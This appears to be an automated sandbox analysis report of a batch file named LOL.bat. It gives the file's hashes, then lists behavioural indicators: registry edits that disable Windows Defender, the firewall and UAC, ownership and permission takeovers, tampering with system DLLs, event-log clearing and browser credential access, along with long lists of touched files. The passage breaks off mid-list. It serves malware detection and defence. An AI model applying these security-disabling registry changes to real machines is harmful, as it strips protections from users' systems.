Analysis
- max time kernel
899s - max time network
426s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
08/07/2026, 04:33
Static task
static1
Behavioral task
behavioral1
Sample
LOL.bat
Resource
win10v2004-20260513-en
windows10-2004-x64
30 signatures
900 seconds
Behavioral task
behavioral2
Sample
LOL.bat
Resource
win11ltsc2024-20260706-en
windows11-ltsc_2024-x64
26 signatures
900 seconds
General
- Target LOL.bat
- Size 7KB
- Sample260708-e6t2saaz2w
- SHA256 6fb7d2a500191110a79c6e9e7d5210c42b3948f2808a4997ef759525fc17f78a
- MD5 ac6a82a9672124e13ccf0772d8fbaf06
- SHA1 d8611c4c78b944337e14bd956e4337fc286d5289
- SHA512 2ce3488cb98bc64b01e69eab5ece695fec4657d5fa47b6a7f309c3879acb80dfc351b36b7ab4f1f6236a429461c40428d2e6346a1b132f1578d810a0d5cde116
- SSDEEP 192:g3Aomo9oQp2aWQzEyUj73BCdoQxxzwH7cShtobKHaiPykqjRaXV5+YUA5T2toeyz:gQx0BAaWQzEyUj73BCdosxzwH7cShtoQ
- TLSH T18EE150033E152C2E904284D1C5FB950AE3E9E04791923ED8B4DE60EAAA37752433BFDD
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
-
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1" reg.exe - Modifies Windows Defender Real-time Protection settings 3 TTPs 6 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1" reg.exe - Modifies firewall policy service 3 TTPs 2 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile reg.exe Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\EnableFirewall = "0" reg.exe - UAC bypass 3 TTPs 1 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" reg.exe - Drops file in Drivers directory 64 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\it-IT\volsnap.sys.mui attrib.exe File opened for modification C:\Windows\System32\drivers\iaLPSS2i_GPIO2_GLK.sys attrib.exe File opened for modification C:\Windows\System32\drivers\tape.sys attrib.exe File opened for modification C:\Windows\System32\drivers\tbs.sys attrib.exe File opened for modification C:\Windows\System32\drivers\vwififlt.sys attrib.exe File opened for modification C:\Windows\System32\drivers\it-IT\tcpip.sys.mui attrib.exe File opened for modification C:\Windows\System32\drivers\UMDF\ja-JP\Microsoft.Bluetooth.Profiles.HidOverGatt.dll.mui attrib.exe File opened for modification C:\Windows\System32\drivers\de-DE\mouclass.sys.mui attrib.exe File opened for modification C:\Windows\System32\drivers\es-ES\BTHUSB.SYS.mui attrib.exe File opened for modification C:\Windows\System32\drivers\it-IT\Microsoft.Bluetooth.AvrcpTransport.sys.mui attrib.exe File opened for modification C:\Windows\System32\drivers\iaLPSS2i_GPIO2_BXT_P.sys attrib.exe File opened for modification C:\Windows\System32\drivers\Rtnic64.sys attrib.exe File opened for modification C:\Windows\System32\drivers\ndiscap.sys cmd.exe File opened for modification C:\Windows\System32\drivers\de-DE\mslldp.sys.mui attrib.exe File opened for modification C:\Windows\System32\drivers\ja-JP\vdrvroot.sys.mui attrib.exe File opened for modification C:\Windows\System32\drivers\monitor.sys attrib.exe File opened for modification C:\Windows\System32\drivers\mshidumdf.sys attrib.exe File opened for modification C:\Windows\System32\drivers\it-IT\NdisVirtualBus.sys.mui attrib.exe File opened for modification C:\Windows\System32\drivers\UMDF\ja-JP\hidscanner.dll.mui attrib.exe File opened for modification C:\Windows\System32\drivers\UMDF\ja-JP\idtsec.dll.mui attrib.exe File opened for modification C:\Windows\System32\drivers\hidclass.sys cmd.exe File opened for modification C:\Windows\System32\drivers\es-ES\nvdimm.sys.mui attrib.exe File opened for modification C:\Windows\System32\drivers\fr-FR\tcpip.sys.mui attrib.exe File opened for modification C:\Windows\System32\drivers\1394ohci.sys attrib.exe File opened for modification C:\Windows\System32\drivers\fsdepends.sys attrib.exe File opened for modification C:\Windows\System32\drivers\rdpvideominiport.sys attrib.exe File opened for modification C:\Windows\System32\drivers\WUDFRd.sys attrib.exe File opened for modification C:\Windows\System32\drivers\de-DE\spaceport.sys.mui attrib.exe File opened for modification C:\Windows\System32\drivers\de-DE\tcpip.sys.mui attrib.exe File opened for modification C:\Windows\System32\drivers\es-ES\smbdirect.sys.mui attrib.exe File opened for modification C:\Windows\System32\drivers\it-IT\isapnp.sys.mui attrib.exe File opened for modification C:\Windows\System32\drivers\amdsbs.sys attrib.exe File opened for modification C:\Windows\System32\drivers\BthHfEnum.sys attrib.exe File opened for modification C:\Windows\System32\drivers\intelpep.sys attrib.exe File opened for modification C:\Windows\System32\drivers\intelppm.sys attrib.exe File opened for modification C:\Windows\System32\drivers\UsbPmApi.sys attrib.exe File opened for modification C:\Windows\System32\drivers\de-DE\qwavedrv.sys.mui attrib.exe File opened for modification C:\Windows\System32\drivers\afd.sys attrib.exe File opened for modification C:\Windows\System32\drivers\BTHUSB.SYS attrib.exe File opened for modification C:\Windows\System32\drivers\cimfs.sys attrib.exe File opened for modification C:\Windows\System32\drivers\usbser.sys attrib.exe File opened for modification C:\Windows\System32\drivers\VSTXRAID.SYS attrib.exe File opened for modification C:\Windows\System32\drivers\de-DE\USBHUB3.SYS.mui attrib.exe File opened for modification C:\Windows\System32\drivers\ja-JP\parport.sys.mui attrib.exe File opened for modification C:\Windows\System32\drivers\ahcache.sys attrib.exe File opened for modification C:\Windows\System32\drivers\de-DE\dumpsd.sys.mui attrib.exe File opened for modification C:\Windows\System32\drivers\en-US\bthport.sys.mui attrib.exe File opened for modification C:\Windows\System32\drivers\filecrypt.sys cmd.exe File opened for modification C:\Windows\System32\drivers\fr-FR\fvevol.sys.mui attrib.exe File opened for modification C:\Windows\System32\drivers\fr-FR\smbdirect.sys.mui attrib.exe File opened for modification C:\Windows\System32\drivers\hyperkbd.sys attrib.exe File opened for modification C:\Windows\System32\drivers\ja-JP\bthenum.sys.mui attrib.exe File opened for modification C:\Windows\System32\drivers\ja-JP\iorate.sys.mui attrib.exe File opened for modification C:\Windows\System32\drivers\UMDF\fr-FR\WUDFUsbccidDriver.dll.mui attrib.exe File opened for modification C:\Windows\System32\drivers\drmk.sys cmd.exe File opened for modification C:\Windows\System32\drivers\UMDF\de-DE\hidscanner.dll.mui attrib.exe File opened for modification C:\Windows\System32\drivers\cdfs.sys attrib.exe File opened for modification C:\Windows\System32\drivers\de-DE\nwifi.sys.mui attrib.exe File opened for modification C:\Windows\System32\drivers\en-US\hidclass.sys.mui attrib.exe File opened for modification C:\Windows\System32\drivers\en-US\MTConfig.sys.mui attrib.exe File opened for modification C:\Windows\System32\drivers\en-US\IndirectKmd.sys.mui attrib.exe File opened for modification C:\Windows\System32\drivers\ja-JP\volmgrx.sys.mui attrib.exe File opened for modification C:\Windows\System32\drivers\mstee.sys attrib.exe File opened for modification C:\Windows\System32\drivers\es-ES\nwifi.sys.mui attrib.exe - Manipulates Digital Signatures 5 IoCs
Attackers can apply techniques such as modifying certain DLL exports to make their binary seem valid.
description ioc Process File opened for modification C:\Windows\System32\wintrust.dll attrib.exe File opened for modification C:\Windows\System32\wintrust.dll cmd.exe File opened for modification C:\Windows\SysWOW64\WindowsPowerShell\v1.0\pwrshsip.dll cmd.exe File opened for modification C:\Windows\SysWOW64\wintrust.dll cmd.exe File opened for modification C:\Windows\System32\WindowsPowerShell\v1.0\pwrshsip.dll attrib.exe - Possible privilege escalation attempt 4 IoCs
pid Process 2524 takeown.exe 4220 icacls.exe 1636 icacls.exe 4336 icacls.exe - Boot or Logon Autostart Execution: Print Processors 1 TTPs 2 IoCs
Adversaries may abuse print processors to run malicious DLLs during system boot for persistence and/or privilege escalation.
description ioc Process File opened for modification C:\Windows\System32\spool\prtprocs\x64\winprint.dll attrib.exe File opened for modification C:\Windows\System32\spool\prtprocs\x64\winprint.dll cmd.exe - Credentials from Password Stores: Windows Credential Manager 1 TTPs
Suspicious access to Credentials History.
- Executes dropped EXE 8 IoCs
pid Process 3076 DllHost.exe 3316 Process not Found 3896 Process not Found 2844 Process not Found 4048 Process not Found 5568 Process not Found 3832 Process not Found 2376 Process not Found - Indicator Removal: Clear Windows Event Logs 1 TTPs 64 IoCs
Clear Windows Event Logs to hide the activity of an intrusion.
description ioc Process File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-Application-Experience%4Program-Telemetry.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-Kernel-PnP%4Driver Watchdog.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\OAlerts.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-DeviceSetupManager%4Operational.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-SmbClient%4Connectivity.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-SMBServer%4Security.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Client-Licensing-Platform%4Admin.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-DeviceSetupManager%4Admin.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-Kernel-PnP%4Configuration.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-Provisioning-Diagnostics-Provider%4Admin.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-Provisioning-Diagnostics-Provider%4AutoPilot.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Security.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-Dhcp-Client%4Admin.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-Biometrics%4Operational.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-GroupPolicy%4Operational.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-Privacy-Auditing%4Operational.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-SMBClient%4Operational.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-ReadyBoost%4Operational.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-Shell-Core%4ActionCenter.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-StateRepository%4Restricted.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-CloudStore%4Operational.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-UserPnp%4DeviceInstall.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Setup.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-NetworkProfile%4Operational.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-RestartManager%4Operational.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-TWinUI%4Operational.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-SettingSync%4Debug.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-StorageSpaces-Driver%4Diagnostic.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-WindowsUpdateClient%4Operational.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-UserPnp%4ActionCenter.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-AAD%4Operational.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-AppxPackaging%4Operational.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-Audio%4Operational.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-Bits-Client%4Operational.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-Crypto-NCrypt%4Operational.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-Kernel-Boot%4Operational.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-Ntfs%4Operational.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-CodeIntegrity%4Operational.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-PushNotification-Platform%4Operational.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-Security-LessPrivilegedAppContainer%4Operational.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-SettingSync%4Operational.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-StorageSpaces-Driver%4Operational.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-ShellCommon-StartLayoutPopulation%4Operational.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-TaskScheduler%4Maintenance.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-VDRVROOT%4Operational.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Key Management Service.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-PowerShell%4Admin.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-SmbClient%4Audit.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-Windows Firewall With Advanced Security%4FirewallDiagnostics.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-AppXDeployment%4Operational.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-WMI-Activity%4Operational.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Microsoft-Windows-Store%4Operational.evtx attrib.exe File opened for modification C:\Windows\System32\winevt\Logs\Windows PowerShell.evtx attrib.exe - Loads dropped DLL 48 IoCs
pid Process 3076 DllHost.exe 3076 DllHost.exe 3076 DllHost.exe 3076 DllHost.exe 3076 DllHost.exe 3076 DllHost.exe 3076 DllHost.exe 3076 DllHost.exe 3076 DllHost.exe 3076 DllHost.exe 3076 DllHost.exe 3076 DllHost.exe 3076 DllHost.exe 3076 DllHost.exe 3076 DllHost.exe 3076 DllHost.exe 3076 DllHost.exe 3076 DllHost.exe 3076 DllHost.exe 3076 DllHost.exe 3076 DllHost.exe 3076 DllHost.exe 3076 DllHost.exe 3076 DllHost.exe 3076 DllHost.exe 3076 DllHost.exe 3076 DllHost.exe 3076 DllHost.exe 3076 DllHost.exe 3076 DllHost.exe 3076 DllHost.exe 3076 DllHost.exe 3076 DllHost.exe 3076 DllHost.exe 3076 DllHost.exe 3316 Process not Found 3316 Process not Found 3316 Process not Found 3316 Process not Found 2544 Process not Found 2844 Process not Found 2844 Process not Found 2844 Process not Found 2376 Process not Found 6060 Process not Found 6060 Process not Found 6060 Process not Found 6060 Process not Found - Modifies file permissions 1 TTPs 4 IoCs
pid Process 1636 icacls.exe 4336 icacls.exe 2524 takeown.exe 4220 icacls.exe - Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Stops running service(s) 4 TTPs
- Drops desktop.ini file(s) 31 IoCs
description ioc Process File opened for modification C:\Windows\WinSxS\AMD8B8~1.1_N\desktop.ini cmd.exe File opened for modification C:\Windows\WinSxS\AMD8BC~1.1_N\desktop.ini cmd.exe File opened for modification C:\Windows\WinSxS\AMB420~1.1_N\desktop.ini cmd.exe File opened for modification C:\Windows\WinSxS\AM10F5~1.1_N\Desktop.ini cmd.exe File opened for modification C:\Windows\WinSxS\AM7F64~1.1_N\desktop.ini cmd.exe File opened for modification C:\Windows\WinSxS\AM5D45~1.1_N\Desktop.ini cmd.exe File opened for modification C:\Windows\WinSxS\AME3F0~1.1_N\Desktop.ini cmd.exe File opened for modification C:\Windows\WinSxS\AMC81E~1.1_N\desktop.ini cmd.exe File opened for modification C:\Windows\WinSxS\AM73FD~1.1_N\Desktop.ini cmd.exe File opened for modification C:\Windows\WinSxS\AMBE63~1.1_N\desktop.ini cmd.exe File opened for modification C:\Windows\WinSxS\AM066F~1.1_N\Desktop.ini cmd.exe File opened for modification C:\Windows\WinSxS\AM0A9A~1.1_N\Desktop.ini cmd.exe File opened for modification C:\Windows\WinSxS\AMA417~1.1_N\Desktop.ini cmd.exe File opened for modification C:\Windows\WinSxS\AM52EB~2.1_N\desktop.ini cmd.exe File opened for modification C:\Windows\WinSxS\AM60C1~1.1_N\desktop.ini cmd.exe File opened for modification C:\Windows\WinSxS\AM7F8B~2.1_N\desktop.ini cmd.exe File opened for modification C:\Windows\WinSxS\AM3CA2~1.1_N\desktop.ini cmd.exe File opened for modification C:\Windows\WinSxS\AM26C1~1.1_N\desktop.ini cmd.exe File opened for modification C:\Windows\WinSxS\AMBA5B~1.1_N\Desktop.ini cmd.exe File opened for modification C:\Windows\WinSxS\AM1A03~1.1_N\desktop.ini cmd.exe File opened for modification C:\Windows\WinSxS\AM82AF~1.1_N\desktop.ini cmd.exe File opened for modification C:\Windows\WinSxS\AM6E1C~1.1_N\Desktop.ini cmd.exe File opened for modification C:\Windows\WinSxS\AMB161~1.1_N\Desktop.ini cmd.exe File opened for modification C:\Windows\WinSxS\AM031C~1.1_N\desktop.ini cmd.exe File opened for modification C:\Windows\WinSxS\AM3600~1.1_N\desktop.ini cmd.exe File opened for modification C:\Windows\WinSxS\AM91A0~1.1_N\desktop.ini cmd.exe File opened for modification C:\Windows\WinSxS\AME369~1.1_N\Desktop.ini cmd.exe File opened for modification C:\Windows\WinSxS\AMA114~1.423\desktop.ini cmd.exe File opened for modification C:\Windows\WinSxS\AM33F5~1.1_N\desktop.ini cmd.exe File opened for modification C:\Windows\WinSxS\AMF414~1.1_N\desktop.ini cmd.exe File opened for modification C:\Windows\WinSxS\AM2651~1.1_N\Desktop.ini cmd.exe - File and Directory Permissions Modification: Windows File and Directory Permissions Modification 1 TTPs
- Drops autorun.inf file 1 TTPs 2 IoCs
Malware can abuse Windows Autorun to spread further via attached volumes.
description ioc Process File opened for modification C:\Windows\BITLOC~1\autorun.inf cmd.exe File opened for modification C:\Windows\WinSxS\X85378~1.1_N\autorun.inf cmd.exe - Drops file in System32 directory 64 IoCs
description ioc Process File opened for modification C:\Windows\System32\DriverStore\ja-JP\ws3cap.inf_loc attrib.exe File opened for modification C:\Windows\SysWOW64\negoexts.dll cmd.exe File opened for modification C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\NetworkConnectivityStatus\MSFT_DAConnectionStatus.cdxml cmd.exe File opened for modification C:\Windows\System32\DriverStore\fr-FR\nettcpip.inf_loc attrib.exe File opened for modification C:\Windows\System32\MUI\0407\mscorees.dll attrib.exe File opened for modification C:\Windows\System32\wbem\AutoRecover\6780F8CDE9A603E0A830C9603F2F4D0B.mof attrib.exe File opened for modification C:\Windows\System32\DeviceProperties.exe attrib.exe File opened for modification C:\Windows\SysWOW64\DevicePairingWizard.exe cmd.exe File opened for modification C:\Windows\System32\sechost.dll cmd.exe File opened for modification C:\Windows\SysWOW64\Dism\fr-FR\IntlProvider.dll.mui cmd.exe File opened for modification C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Embedded-AssignedAccessCsp-Package~31bf3856ad364e35~amd64~it-IT~10.0.19041.1.cat attrib.exe File opened for modification C:\Windows\System32\de-DE\wpnpinst.exe.mui attrib.exe File opened for modification C:\Windows\System32\oobe\AuditShD.exe attrib.exe File opened for modification C:\Windows\System32\WindowsPowerShell\v1.0\Schemas\PSMaml\glossary.xsd attrib.exe File opened for modification C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\microsoft-windows-notepad-fod-package-Wrapper~31bf3856ad364e35~amd64~~10.0.19041.1081.cat attrib.exe File opened for modification C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SMB1Client-D-Opt-Package~31bf3856ad364e35~amd64~uk-UA~10.0.19041.1.cat attrib.exe File opened for modification C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-WebcamExperience-Package~31bf3856ad364e35~amd64~es-ES~10.0.19041.1.cat attrib.exe File opened for modification C:\Windows\System32\DriverStore\de-DE\netr7364.inf_loc attrib.exe File opened for modification C:\Windows\System32\spp\tokens\skus\Enterprise\Enterprise-Volume-CSVLK-3-ul-oob-rtm.xrm-ms attrib.exe File opened for modification C:\Windows\System32\ffbroker.dll attrib.exe File opened for modification C:\Windows\SysWOW64\SyncCenter.dll cmd.exe File opened for modification C:\Windows\System32\de-DE\wpnservice.dll.mui attrib.exe File opened for modification C:\Windows\System32\fr-FR\AppXDeploymentClient.dll.mui attrib.exe File opened for modification C:\Windows\System32\uk-UA\ScDeviceEnum.dll.mui attrib.exe File opened for modification C:\Windows\System32\Printing_Admin_Scripts\ja-JP\prncnfg.vbs attrib.exe File opened for modification C:\Windows\System32\@WindowsUpdateToastIcon.contrast-white.png attrib.exe File opened for modification C:\Windows\SysWOW64\Dism\es-ES\CbsProvider.dll.mui cmd.exe File opened for modification C:\Windows\SysWOW64\msdtcprx.dll cmd.exe File opened for modification C:\Windows\SysWOW64\tapiui.dll cmd.exe File opened for modification C:\Windows\System32\de-DE\MdRes.exe.mui attrib.exe File opened for modification C:\Windows\System32\en-US\fhcpl.dll.mui attrib.exe File opened for modification C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-ConfigCI-Onecore-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.19041.1.cat attrib.exe File opened for modification C:\Windows\System32\de-DE\winmsipc.dll.mui attrib.exe File opened for modification C:\Windows\System32\DriverStore\en-US\lsi_sas3i.inf_loc attrib.exe File opened for modification C:\Windows\System32\fr-FR\odbcint.dll.mui attrib.exe File opened for modification C:\Windows\System32\oobe\en-US\WinLGDep.dll.mui attrib.exe File opened for modification C:\Windows\System32\uk-UA\pcaui.dll.mui attrib.exe File opened for modification C:\Windows\System32\httpprxm.dll attrib.exe File opened for modification C:\Windows\System32\srvsvc.dll attrib.exe File opened for modification C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-DataCenterBridging-Opt-Package~31bf3856ad364e35~amd64~~10.0.19041.1.cat attrib.exe File opened for modification C:\Windows\System32\de-DE\tdh.dll.mui attrib.exe File opened for modification C:\Windows\System32\DriverStore\de-DE\HalExtIntcLpioDma.inf_loc attrib.exe File opened for modification C:\Windows\System32\DriverStore\FileRepository\mdmmod.inf_amd64_51d6c57c66e3de87 attrib.exe File opened for modification C:\Windows\System32\DriverStore\en-US\c_securitydevices.inf_loc attrib.exe File opened for modification C:\Windows\System32\es-ES\AxInstUI.exe.mui attrib.exe File opened for modification C:\Windows\SysWOW64\downlevel\api-ms-win-base-util-l1-1-0.dll cmd.exe File opened for modification C:\Windows\System32\DriverStore\de-DE\hidbth.inf_loc attrib.exe File opened for modification C:\Windows\System32\DriverStore\FileRepository\mdmnis3t.inf_amd64_9f214efed426c12a attrib.exe File opened for modification C:\Windows\System32\DriverStore\fr-FR\ndisuio.inf_loc attrib.exe File opened for modification C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Appx\de-DE\Appx.psd1 attrib.exe File opened for modification C:\Windows\SysWOW64\MrmIndexer.dll cmd.exe File opened for modification C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Internet-Browser-Package~31bf3856ad364e35~amd64~es-ES~10.0.19041.1.cat attrib.exe File opened for modification C:\Windows\System32\en-US\slcext.dll.mui attrib.exe File opened for modification C:\Windows\System32\IME\SHARED\imecfm.dll attrib.exe File opened for modification C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0212~31bf3856ad364e35~amd64~~10.0.19041.1288.cat attrib.exe File opened for modification C:\Windows\System32\de-DE\jscript9.dll.mui attrib.exe File opened for modification C:\Windows\System32\en-GB\fms.dll.mui attrib.exe File opened for modification C:\Windows\System32\fr-FR\rstrui.exe.mui attrib.exe File opened for modification C:\Windows\System32\ja-jp\gptext.dll.mui attrib.exe File opened for modification C:\Windows\SysWOW64\downlevel\api-ms-win-core-file-l1-2-1.dll cmd.exe File opened for modification C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Common-Foundation-Package~31bf3856ad364e35~amd64~en-US~10.0.19041.1.cat attrib.exe File opened for modification C:\Windows\System32\DriverStore\it-IT\Netwbw02.INF_loc attrib.exe File opened for modification C:\Windows\System32\FXSUNATD.exe attrib.exe File opened for modification C:\Windows\System32\grpconv.exe attrib.exe - Modifies termsrv.dll 1 TTPs 1 IoCs
Commonly used to allow simultaneous RDP sessions.
description ioc Process File opened for modification C:\Windows\System32\termsrv.dll attrib.exe - Drops file in Program Files directory 64 IoCs
description ioc Process File opened for modification C:\PROGRA~1\WindowsApps\MICROS~1.SCA\Assets\AppTiles\CONTRA~1\Weather_SplashScreen.scale-100.png cmd.exe File opened for modification C:\PROGRA~1\WindowsApps\MID53B~1.0_X\Assets\MEDIUM~1.PNG cmd.exe File opened for modification C:\PROGRA~1\WindowsApps\MIEACE~1.0_X\Assets\VoiceRecorderAppList.contrast-white_targetsize-36.png cmd.exe File opened for modification C:\PROGRA~1\WindowsApps\MI46F3~1.0_X\MICROS~4.WIN cmd.exe File opened for modification C:\PROGRA~1\WindowsApps\MI33D2~1.0_X\REACTA~1\assets\RNApp\app\uwp\images\pstn\PSTN_P~1.PNG cmd.exe File opened for modification C:\PROGRA~1\WindowsApps\MI83BA~1.0_X\Assets\InsiderHubAppList.targetsize-16_altform-unplated_contrast-black.png cmd.exe File opened for modification C:\PROGRA~1\WindowsApps\MIE908~1.SCA\Assets\SECOND~1\DIRECT~1\Place\LTR\CONTRA~1\SMALLT~1.PNG cmd.exe File opened for modification C:\PROGRA~1\WindowsApps\MI4327~1.0_X\Fonts\segxsym.ttf cmd.exe File opened for modification C:\PROGRA~1\WindowsPowerShell\Modules\Pester\3.4.0\Functions\Assertions\Be.ps1 cmd.exe File opened for modification C:\PROGRA~1\COMMON~1\MICROS~1\ink\fsdefinitions\main\base_altgr.xml cmd.exe File opened for modification C:\PROGRA~1\WindowsApps\MICROS~1.0_X\Assets\Store\SMALLT~4.PNG cmd.exe File opened for modification C:\PROGRA~1\WindowsApps\MICROS~1.SCA\Assets\AppTiles\CONTRA~2\WE67F0~1.PNG cmd.exe File opened for modification C:\PROGRA~1\WindowsPowerShell\Modules\Pester\3.4.0\build.psake.ps1 cmd.exe File opened for modification C:\PROGRA~1\WindowsApps\MI92C9~1.0_X\Assets\BA56E9~1.JPG cmd.exe File opened for modification C:\PROGRA~1\WindowsApps\MI11B4~1.0_X\images\CONTRA~1\GE8E5F~1.PNG cmd.exe File opened for modification 